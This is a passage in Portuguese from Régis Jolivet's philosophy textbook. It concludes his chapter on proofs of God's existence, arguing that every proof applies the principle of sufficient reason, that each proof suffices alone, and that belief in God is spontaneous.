Curso de Filosofia – Régis Jolivet
Capítulo Quarto
CONCLUSÃO SOBRE AS PROVAS DA EXISTÊNCIA DE
DEUS
216 1. O
ponto-de-vista comum a todas as provas. — Todas as provas da existência de Deus
são aplicações do princípio de razão suficiente: qualquer coisa tem sua
razão, ou em si, ou numa outra. Em outras palavras: o mais não pode sair do
menos, nem o ser do nada. Cada prova, compreendendo um ponto-de-vista particular,
precisa a aplicação do princípio de razão, no domínio da contingência, no do
movimento, no das causas finais, nos domínios da obrigação moral, das
aspirações do homem e do consentimento universal. Cada vez, o princípio de
razão obriga a concluir pela existência de um Ser existente por si, primeiro
motor universal, inteligência infinita, princípio e fim da ordem moral,
absoluta perfeição.
2. Cada prova é suficiente
para provar Deus. — Não é, pois, necessário recorrer a todas as provas juntas. Cada
uma, por si mesma, conduz-nos a Deus e envolve todas as outras. Assim, como
já mostramos, quem diz primeiro motor imóvel, diz absoluta perfeição,
ser iniciado e eterno, e causa universal, não apenas do movimento, mas do ser, se é verdade que o movimento, quer dizer, a transformação,
manifesta a insuficiência radical do ser.
Mas cada uma destas provas tem
a vantagem de colocar em relevo um aspecto da causalidade divina e mostrar que,
qualquer que seja do ponto-de-vista que se adote, o mundo não tem razão
suficiente a não ser em Deus, se bem que não haja escolha entre estas duas
conclusões: ou Deus, ou o absurdo total.
3. Espontaneidade da crença
em Deus. — A conclusão a que chegamos não é exclusivamente fruto de uma
demonstração científica tal, que os filósofos, por uma preocupação extrema de
precisão, ou para responder a diversas dificuldades, foram levados a formular. A certeza da existência de Deus não depende da perfeição científica das provas
que se possam fornecer a este respeito. Ao contrário, a prova necessária a qualquer homem para adquirir uma plena certeza é tão fácil e tão clara que
é perceptível, apesar dos processos lógicos que utiliza, e que os argumentos
cientificamente desenvolvidos, muito longe de darem ao homem a primeira certeza
da existência de Deus, não podem ter como resultado senão esclarecer e
fortificar a que já existe.
217 4. Existe uma
intuição da existência de Deus? — Esta espontaneidade da crença na existência de Deus explica que se possa tão
freqüentemente falar de intuição da existência de Deus (da existência de Deus, dizemos, quer dizer, desta verdade que Deus existe, — e não
do próprio Deus). Parece, com efeito, que a argumentação em favor da
existência de Deus se baseia numa intuição primitiva e universal, aquela mesma
pela qual, como já vimos (176), apreendemos, imediatamente e sem
raciocínio, no real objetivo, as leis universais do ser e, em seguida,
as condições absolutas da inteligibilidade do ser.
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